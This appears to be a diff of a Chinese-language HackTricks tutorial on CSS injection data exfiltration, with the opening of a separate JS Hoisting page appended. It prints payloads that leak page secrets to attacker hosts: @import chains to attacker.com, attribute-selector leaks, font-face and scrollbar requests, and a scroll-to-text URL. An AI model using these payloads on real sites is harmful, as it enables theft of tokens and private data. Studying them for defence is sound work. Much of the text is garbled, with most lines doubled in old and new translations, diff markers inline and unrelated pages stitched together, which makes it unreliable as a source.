<input name=mytoken value=1337> <input name=mytoken value=1337>
<input name=myname value=gareth> <input name=myname value=gareth>
``` ```
结合以下**@import**技术,可以利用[**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)从盲目页面中注入CSS来窃取大量信息。 结合以下**@import** 技术,可以从 **盲页面中通过 CSS 注入提取大量信息**,使用 [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**。**
### @import ### @import
的技术有一些缺点,请检查先决条件。您需要能够向受害者**发送多个链接**,或者您需要能够**将CSS注入漏洞页面嵌入到iframe中** 前的技术有一些缺点,请检查先决条件。您需要能够 **向受害者发送多个链接**,或者您需要能够 **iframe CSS 注入漏洞页面**
然而,还有另一种聪明的技术,使用**CSS `@import`**来提高技术的质量。 然而,还有另一种巧妙的技术,使用 **CSS `@import`** 来提高技术的质量。
是由[**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf)首次展示的,工作原理如下: 首先由 [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) 展示,工作原理如下:
与其像之前那样一次又一次地加载同一页面,每次加载都带有数十个不同的有效负载(就像之前的方法一样),我们将**仅加载一次页面,只需通过导入到攻击者服务器**(这是要发送给受害者的有效负载): 我们将 **只加载页面一次,并仅通过导入到攻击者服务器**(这是发送给受害者的有效载荷)。
```css ```css
@import url('//attacker.com:5001/start?'); @import url('//attacker.com:5001/start?');
``` ```
1. 攻击者将从**攻击者那里接收一些 CSS 脚本****浏览器将加载它**。 1. 导入将会**接收一些CSS脚本**来自攻击者**浏览器将加载它**。
2. 攻击者发送的 CSS 脚本的第一部分是**另一个 `@import` 到攻击者的服务器**。 2. 攻击者发送的CSS脚本的第一部分是**另一个`@import`到攻击者的服务器**。
3. 攻击者的服务器暂时不会响应此请求,因为我们希望泄漏一些字符,然后响应此导入以泄漏下一个字符。 1. 攻击者的服务器不会立即响应这个请求,因为我们想要泄露一些字符,然后用有效负载响应这个导入以泄露下一个字符。
4. 负载的第二部分将是一个**属性选择器泄漏负载**。 3. 有效负载的第二部分和更大部分将是一个**属性选择器泄露有效负载**。
5. 这将向攻击者的服务器发送**秘密的第一个字符和最后一个字符**。 1. 这将向攻击者的服务器发送**秘密的第一个字符和最后一个字符**。
6. 一旦攻击者的服务器收到**秘密的第一个和最后一个字符**,它将**响应步骤 2 中请求的导入**。 4. 一旦攻击者的服务器接收到**秘密的第一个和最后一个字符**,它将**响应步骤2中请求的导入**。
7. 响应将与**步骤 2、3 和 4**完全相同,但这次它将尝试**找到秘密的第二个字符和倒数第二个字符**。 1. 响应将与**步骤2、3和4**完全相同,但这次它将尝试**找到秘密的第二个字符,然后是倒数第二个**。
攻击者将**跟随该循环,直到成功完全泄漏秘密**。 攻击者将**遵循这个循环,直到完全泄露秘密**。
您可以在此处找到原始的[**Pepe Vila 利用此漏洞的代码**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231),或者您几乎可以在[**此处找到相同的代码但有注释**。](./#css-injection) 您可以在这里找到原始的[**Pepe Vila的代码来利用这个**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231),或者您可以在这里找到几乎[**相同的代码但带注释**。](./#css-injection)
{% hint style="info" %} {% hint style="info" %}
该脚本将尝试每次发现 2 个字符(从开头和结尾)因为属性选择器允许执行以下操作 该脚本将尝试每次发现2个字符从开头和结尾因为属性选择器允许做这样的事情
```css ```css
/* value^= to match the beggining of the value*/ /* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)} input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
@ -105,20 +108,20 @@ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/ /* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)} input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
``` ```
使得脚本能更快地泄露秘密。 允许脚本更快地泄露秘密。
{% endhint %} {% endhint %}
{% hint style="warning" %} {% hint style="warning" %}
有时脚本**无法正确检测到发现的前缀 + 后缀已经是完整的标志**,它会继续向前(在前缀中)和向后(在后缀中)移动,最终会停止。\ 有时脚本**无法正确检测到发现的前缀 + 后缀已经是完整的标志**,它将继续向前(在前缀中)和向后(在后缀中)进行,并在某个时刻会挂起。\
担心,只需检查**输出**,因为**你可以在那里看到标志**。 不用担心,只需检查**输出**,因为**你可以在那里看到标志**。
{% endhint %} {% endhint %}
### 其他选择器 ### 其他选择器
使用**CSS选择器**访问DOM部分的其他方法 使用**CSS选择器**访问DOM部分的其他方法
* **`.class-to-search:nth-child(2)`**:这将在DOM中搜索具有类“class-to-search”的第二个项目。 * **`.class-to-search:nth-child(2)`**:这将搜索DOM中类为"class-to-search"的第二个项目。
* **`:empty`** 选择器:例如在[**此解析**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**中使用:** * **`:empty`**选择器:例如在[**这篇文章**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**中使用:**
```css ```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); } [role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
@ -126,9 +129,9 @@ input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
### 基于错误的XS-Search ### 基于错误的XS-Search
**参考:**[基于CSS的攻击滥用@font-face的unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html)[由@terjanq提供的基于错误的XS-Search PoC](https://twitter.com/terjanq/status/1180477124861407234) **参考:** [基于CSS的攻击滥用@font-face的unicode-range](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html) [基于错误的XS-Search PoC由@terjanq提供](https://twitter.com/terjanq/status/1180477124861407234)
总体意图是**使用来自受控端点的自定义字体**,并确保**仅当无法加载指定资源(`favicon.ico`)时,文本(在本例中为'A')才会显示为此字体**。 总体意图是**使用来自受控端点的自定义字体**,并确保**文本(在这种情况下为'A')仅在指定资源(`favicon.ico`)无法加载时显示此字体**。
```html ```html
<!DOCTYPE html> <!DOCTYPE html>
<html> <html>
@ -152,46 +155,46 @@ font-family: 'poc';
</body> </body>
</html> </html>
``` ```
1. **自定义字体使用**: 1. **自定义字体使用**
- 使用`<head>`部分中的`<style>``@font-face` - 使用 `<style>` 标签在 `<head>` 部分定义自定义字体,规则为 `@font-face`
- 字体名为`poc`,从外部端点(`http://attacker.com/?leak`)获取 - 字体命名为 `poc`,并从外部端点获取(`http://attacker.com/?leak`
- 将`unicode-range`属性设置为`U+0041`目标是特定的Unicode字符'A'。 - `unicode-range` 属性设置为 `U+0041`,目标是特定的 Unicode 字符 'A'。
2. **带备用文本的对象元素**: 2. **带有后备文本的对象元素**
- 在`<body>`部分创建了一个`id="poc0"`的`<object>`元素。该元素尝试从`http://192.168.0.1/favicon.ico`加载资源。 - 在 `<body>` 部分创建一个 `id="poc0"``<object>` 元素。该元素尝试从 `http://192.168.0.1/favicon.ico` 加载资源。
- 为该元素设置`font-family`为`'poc'`,如在`<style>` - 此元素的 `font-family` 设置为 `'poc'`,如 `<style>` 部分所定义。
- 如果资源(`favicon.ico`)加载失败,`<object>`标签内的备用内容(字母'A')将被显示 - 如果资源`favicon.ico`)加载失败,则在 `<object>` 标签内显示后备内容(字母 'A'
- 如果外部资源无法加载,备用内容('A')将使用自定义字体`poc`进行呈现 - 如果无法加载外部资源,后备内容('A')将使用自定义字体 `poc` 渲染
### 样式滚动到文本片段 ### 样式滚动到文本片段
使用**`:target`**伪类来选择被**URL片段**定位的元素,如[CSS选择器级别4规范](https://drafts.csswg.org/selectors-4/#the-target-pseudo)中所述。需要理解的是,除非文本明确被片段定位,否则`::target-text`不会匹配任何元素。 **`:target`** 伪类用于选择由 **URL 片段** 定位的元素,如 [CSS 选择器第 4 级规范](https://drafts.csswg.org/selectors-4/#the-target-pseudo) 中所述。重要的是要理解,`::target-text` 只有在文本被片段明确定位时才会匹配任何元素。
当攻击者利用**滚动到文本**片段功能时会引发安全问题允许他们通过HTML注入从其服务器加载资源来确认网页上特定文本的存在。该方法涉及注入类似以下的CSS规则: 当攻击者利用 **滚动到文本** 片段功能时,会出现安全隐患,这使他们能够通过 HTML 注入从其服务器加载资源,以确认网页上特定文本的存在。该方法涉及注入如下 CSS 规则:
```css ```css
:target::before { content : url(target.png) } :target::before { content : url(target.png) }
``` ```
在这种情况下,如果页面上存在文本"Administrator",则会从服务器请求资源`target.png`表明文本存在。可以通过一个特制的URL执行这种攻击其中嵌入了注入的CSS以及一个滚动到文本片段: 在这种情况下,如果页面上存在文本“Administrator”则会从服务器请求资源 `target.png`,这表明该文本的存在。此攻击的一个实例可以通过一个特殊构造的 URL 执行,该 URL 嵌入了注入的 CSS 以及一个 Scroll-to-text 片段:
``` ```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
``` ```
这里攻击利用HTML注入传输CSS代码针对特定文本“Administrator”通过Scroll-to-text片段 (`#:~:text=Administrator`)。如果找到该文本,指定的资源将被加载,无意中向攻击者发出其存在的信号。 这里攻击利用HTML注入传输CSS代码针对特定文本“Administrator”通过Scroll-to-text fragment`#:~:text=Administrator`)。如果找到该文本,则加载指定资源,无意中向攻击者发出其存在的信号。
为了减轻风险,应注意以下几点 为了缓解,以下几点应注意
1. **受限的STTF匹配**Scroll-to-text Fragment (STTF) 仅设计用于匹配单词或句子,从而限制了其泄露任意机密信息或令牌的能力。 1. **受限的STTF匹配**Scroll-to-text FragmentSTTF旨在仅匹配单词或句子从而限制其泄露任意秘密或令牌的能力。
2. **限制为顶层浏览上下文**STTF仅在顶层浏览上下文中运行不在iframe内运行使任何利用尝试对用户更加显眼 2. **限制在顶级浏览上下文中**STTF仅在顶级浏览上下文中操作并且在iframe内不起作用使任何利用尝试对用户更明显
3. **需要用户激活**STTF需要用户激活手势才能运行这意味着利用仅通过用户发起的导航是可行的。这一要求极大地减轻了攻击在没有用户交互的情况下自动化的风险。然而博客作者指出了可能简化攻击自动化的特定条件和绕过方法例如社会工程、与流行浏览器扩展的交互 3. **用户激活的必要性**STTF需要用户激活手势才能操作这意味着利用仅通过用户发起的导航才可行。这一要求大大降低了攻击在没有用户交互的情况下自动化的风险。然而博客作者指出了特定条件和绕过方法例如社会工程学与流行浏览器扩展的交互可能会简化攻击的自动化
了解这些机制和潜在漏洞对于维护网络安全并防范此类剥削性策略至关重要。 了解这些机制和潜在漏洞对于维护网络安全和防范此类利用策略至关重要。
欲了解更多信息,请查看原始报告:[https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/) 有关更多信息,请查看原始报告:[https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
您可以在这里检查一个[**使用此技术进行CTF的利用**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)。 您可以在这里查看一个[**使用此技术的CTF利用**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb)。
### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a> ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
您可以为特定Unicode值指定**外部字体**仅当这些Unicode值存在于页面中时才会**收集**。例如: 您可以为特定的unicode值指定**外部字体**,这些字体**仅在页面中存在这些unicode值时**被**收集**。例如:
```html ```html
<style> <style>
@font-face{ @font-face{
@ -216,21 +219,23 @@ font-family:poc;
<p id="sensitive-information">AB</p>htm <p id="sensitive-information">AB</p>htm
``` ```
### 文本节点外泄I连字 <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a> 当您访问此页面时Chrome 和 Firefox 会获取 "?A" 和 "?B",因为敏感信息的文本节点包含 "A" 和 "B" 字符。但 Chrome 和 Firefox 不会获取 "?C",因为它不包含 "C"。这意味着我们能够读取 "A" 和 "B"。
**参考资料:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/) ### 文本节点外泄 (I):连字 <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
描述的技术涉及通过利用字体连字从节点中提取文本,并监视宽度变化。该过程涉及几个步骤: **参考:** [Wykradanie danych w świetnym stylu czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
所描述的技术涉及通过利用字体连字并监控宽度变化来提取节点中的文本。该过程包括几个步骤:
1. **创建自定义字体** 1. **创建自定义字体**
- 使用具有`horiz-adv-x`属性的字形制作SVG字体该属性为代表两个字符序列的字形设置较大的宽度。 - SVG 字体是通过具有 `horiz-adv-x` 属性的字形制作的,该属性为表示两个字符序列的字形设置了较大的宽度。
- 示例SVG字形`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`,其中"XY"表示两个字符序列。 - 示例 SVG 字形:`<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`,其中 "XY" 表示两个字符序列。
- 然后使用fontforge将这些字体转换为woff格式。 - 然后使用 fontforge 将这些字体转换为 woff 格式。
2. **检测宽度变化** 2. **检测宽度变化**
- 使用CSS确保文本不换行`white-space: nowrap`)并自定义滚动条样式。 - 使用 CSS 确保文本不换行(`white-space: nowrap`)并自定义滚动条样式。
- 水平滚动条的出现,具有独特样式的滚动条作为指示器oracle表示文本中存在特定的连字,因此存在特定的字符序列。 - 水平滚动条的出现,经过特别样式处理作为指示器oracle表明文本中存在特定的连字,因此存在特定的字符序列。
- 涉及的CSS - 涉及的 CSS
```css ```css
body { white-space: nowrap }; body { white-space: nowrap };
body::-webkit-scrollbar { background: blue; } body::-webkit-scrollbar { background: blue; }
@ -238,28 +243,28 @@ body::-webkit-scrollbar:horizontal { background: url(http://attacker.com/?leak);
``` ```
3. **利用过程** 3. **利用过程**
- **步骤1**:为具有大宽度的字符对创建字体。 - **步骤 1**:为具有大宽度的字符对创建字体。
- **步骤2**:使用基于滚动条的技巧来检测何时呈现大宽度字形(代表字符对的连字),指示字符序列的存在。 - **步骤 2**:使用基于滚动条的技巧来检测何时渲染大宽度字形(字符对的连字),指示字符序列的存在。
- **步骤3**:在检测到连字时,生成代表三字符序列的新字形,将检测到的对加入并添加前导或后继字符。 - **步骤 3**:在检测到连字后,生成表示三个字符序列的新字形,包含检测到的对并添加前导或后续字符。
- **步骤4**:进行三字符连字的检测。 - **步骤 4**:进行三字符连字的检测。
- **步骤5**:该过程重复,逐渐揭示整个文本。 - **步骤 5**:该过程重复,逐步揭示整个文本。
4. **优化** 4. **优化**
- 当前的初始化方法使用`<meta refresh=...`并不是最佳的。 - 当前使用 `<meta refresh=...` 的初始化方法并不理想。
- 更有效的方法可能涉及使用CSS的`@import`技巧,增强利用的性能。 - 更有效的方法可能涉及 CSS `@import` 技巧,从而提高利用的性能。
### 文本节点外泄II使用默认字体泄露字符集无需外部资源) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### 文本节点外泄 (II):使用默认字体泄露字符集(不需要外部资源) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考资料** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html) **参考:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
这个技巧是在这个[**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/)中发布的。可以使用浏览器中安装的**默认字体**泄露文本节点中使用的字符集:不需要外部 -或自定义- 字体。 这个技巧在这个 [**Slackers 线程**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what\_can\_we\_do\_with\_single\_css\_injection/) 中发布。文本节点中使用的字符集可以 **使用浏览器中安装的默认字体** 泄露:不需要外部或自定义字体。
这个概念围绕着利用动画逐渐扩展`div`的宽度,允许一个字符一次从文本的“后缀”部分过渡到“前缀”部分。这个过程有效地将文本分成两部分: 该概念围绕利用动画逐步扩展 `div` 的宽度,使一个字符一次性从文本的“后缀”部分过渡到“前缀”部分。这个过程有效地将文本分成两部分:
1. **前缀**:初始行。 1. **前缀**:初始行。
2. **后缀**随后的行。 2. **后缀**后续行。
字符的过渡阶段如下所示: 字符的过渡阶段如下所示:
**C**\ **C**\
ADB ADB
@ -272,16 +277,17 @@ B
**CADB** **CADB**
在这个过渡过程中,**unicode-range技巧**被用来识别每个新字符加入前缀时。通过将字体切换为Comic Sans这个字体明显比默认字体高从而触发垂直滚动条。这个滚动条的出现间接地揭示了前缀中新字符的存在。
尽管这种方法允许检测独特字符的出现,但它并不指定重复的是哪个字符,只是发生了重复。 在此过渡期间,**unicode-range 技巧**被用来识别每个新字符,因为它加入前缀。这是通过将字体切换到 Comic Sans 来实现的Comic Sans 显著比默认字体高,从而触发垂直滚动条。这个滚动条的出现间接揭示了前缀中存在新字符。
尽管这种方法允许检测到独特字符的出现,但并未指定哪个字符被重复,只是表明发生了重复。
{% hint style="info" %} {% hint style="info" %}
基本上,**unicode-range用于检测一个字符**,但由于我们不想加载外部字体,我们需要找到另一种方法。\ 基本上,**unicode-range 用于检测字符**,但由于我们不想加载外部字体,我们需要找到另一种方法。\
当**找到字符**时,它被赋予预安装的**Comic Sans字体**,这使字符**变大**并**触发滚动条**,从而**泄露找到的字符**。 **字符****找到** 时,它被 **赋予** 预安装的 **Comic Sans 字体**,这使字符 **变大** **触发滚动条**,从而 **泄露找到的字符**
{% endhint %} {% endhint %}
检查从PoC中提取的代码 检查从 PoC 中提取的代码:
```css ```css
/* comic sans is high (lol) and causes a vertical overflow */ /* comic sans is high (lol) and causes a vertical overflow */
@font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;} @font-face{font-family:has_A;src:local('Comic Sans MS');unicode-range:U+41;font-style:monospace;}
@ -392,32 +398,31 @@ text-transform: uppercase; /* only capital letters leak */
3% { width: 60px } 3% { width: 60px }
4% { width: 80px } 4% { width: 80px }
4% { width: 100px } 4% { width: 100px }
```css 5% { width: 120px }
5% { 宽度: 120px } 6% { width: 140px }
6% { 宽度: 140px } 7% { width: 0px }
7% { 宽度: 0px }
} }
div::-webkit-scrollbar { div::-webkit-scrollbar {
背景: 蓝色; background: blue;
} }
/* 侧信道 */ /* side-channel */
div::-webkit-scrollbar:vertical { div::-webkit-scrollbar:vertical {
背景: 蓝色 var(--leak); background: blue var(--leak);
} }
``` ```
### 文本节点外泄III通过隐藏元素无需外部资产使用默认字体泄漏字符集<a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### 文本节点外泄 (III):通过隐藏元素以默认字体泄露字符集(不需要外部资源) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考:** 在[此篇文章中提到了这个方法未成功](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) **参考:** 这在[这篇文章中被提到作为一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
种情况与前一种非常相似,但在这种情况下,使特定字符比其他字符更大的目的是隐藏某些内容,比如一个按钮,以免被机器人按下,或者一个不会被加载的图像。因此,我们可以测量动作(或缺乏动作),并知道特定字符是否存在于文本中。 个案例与之前的非常相似,然而,在这个案例中,特定**字符比其他字符更大是为了隐藏某些东西**,比如一个按钮不被机器人点击或一个不会加载的图像。因此,我们可以测量这个动作(或缺乏动作),并知道特定字符是否存在于文本中。
### 文本节点外泄III通过缓存时间泄漏字符集无需外部资产<a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### 文本节点外泄 (III):通过缓存时间泄露字符集(不需要外部资源) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考:** 在[此篇文章中提到了这个方法未成功](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) **参考:** 这在[这篇文章中被提到作为一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
在这种情况下,我们可以尝试通过从相同来源加载假字体来泄漏文本中是否存在某个字符 在这个案例中,我们可以尝试通过从同一来源加载一个假字体来泄露字符是否在文本中
```css ```css
@font-face { @font-face {
font-family: "A1"; font-family: "A1";
@ -425,15 +430,15 @@ src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041; unicode-range: U+0041;
} }
``` ```
如果匹配成功,**字体将从`/static/bootstrap.min.css?q=1`加载**。虽然加载不会成功,**浏览器应该会缓存它**,即使没有缓存,也有**304未修改**机制,因此**响应速度应该比其他内容更快**。 如果匹配成功,**字体将从 `/static/bootstrap.min.css?q=1` 加载**。虽然它不会成功加载,但**浏览器应该缓存它**,即使没有缓存,也有**304未修改**机制,因此**响应应该比其他内容更快**。
然而,如果缓存响应与非缓存响应的时间差不够大,这将没有用。例如,作者提到:然而,在测试后,我发现第一个问题是速度并没有太大差异,第二个问题是机器人使用了`disk-cache-size=1`标志,这真的很周到。 然而,如果缓存响应与非缓存响应的时间差不够大,这将没有用。例如,作者提到:然而,经过测试,我发现第一个问题是速度没有太大差别,第二个问题是机器人使用了 `disk-cache-size=1` 标志,这真的很周到。
### 文本节点外泄III通过计时加载数百个本地“字体”不需要外部资产泄漏字符集<a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a> ### 文本节点外泄 (III):通过计时加载数百个本地“字体”(不需要外部资源)泄露字符集 <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
**参考:** 这在[此文中被提及为一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) **参考:** 这在[这篇文章中被提到作为一个不成功的解决方案](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves)
在这种情况下,您可以指示**CSS加载数百个假字体**,当匹配发生时,这样您就可以**测量所需的时间**,并找出字符是否出现,例如 在这种情况下,当发生匹配时,您可以指示**CSS从同一来源加载数百个假字体**。这样您可以**测量所需的时间**,并找出字符是否出现,方法如下
```css ```css
@font-face { @font-face {
font-family: "A1"; font-family: "A1";
@ -450,9 +455,9 @@ browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete') WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30) time.sleep(30)
``` ```
所以,如果字体不匹配,则访问机器人时的响应时间预计约为30秒。但是如果存在字体匹配则将发送多个请求以检索字体,导致网络持续活动。因此,满足停止条件并接收响应将需要更长时间。因此,响应时间可以用作指标来确定是否存在字体匹配 所以,如果字体不匹配,访问机器人时的响应时间预计约为 30 秒。然而,如果字体匹配,将会发送多个请求以检索字体,导致网络持续活动。因此,满足停止条件并接收响应所需的时间会更长。因此,响应时间可以作为判断是否存在字体匹配的指标
## 参考资料 ## 参考文献
* [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e) * [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
* [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b) * [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)
@ -465,16 +470,17 @@ time.sleep(30)
{% embed url="https://discord.gg/tryhardsecurity" %} {% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持HackTricks的其他方式 * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在 Twitter 上关注** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details> </details>
{% endhint %}

View file

@ -1,44 +1,45 @@
# JS 提升 # JS Hoisting
{% hint style="success" %}
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS 红队专家)</strong></a><strong></strong></summary> <summary>支持 HackTricks</summary>
支持 HackTricks 的其他方式: * 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)! * **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或**关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details> </details>
{% endhint %}
## 基本信息 ## 基本信息
在 JavaScript 语言中,有一种称为**提升Hoisting**的机制,其中变量、函数、类或导入的声明在代码执行之前被概念上提升到其作用域的顶部。这个过程由 JavaScript 引擎自动执行,它会多次遍历脚本。 在 JavaScript 语言中,有一种机制称为 **提升**,它描述了变量、函数、类或导入的声明在代码执行之前被概念性地提升到其作用域的顶部。这个过程由 JavaScript 引擎自动执行,它会多次遍历脚本。
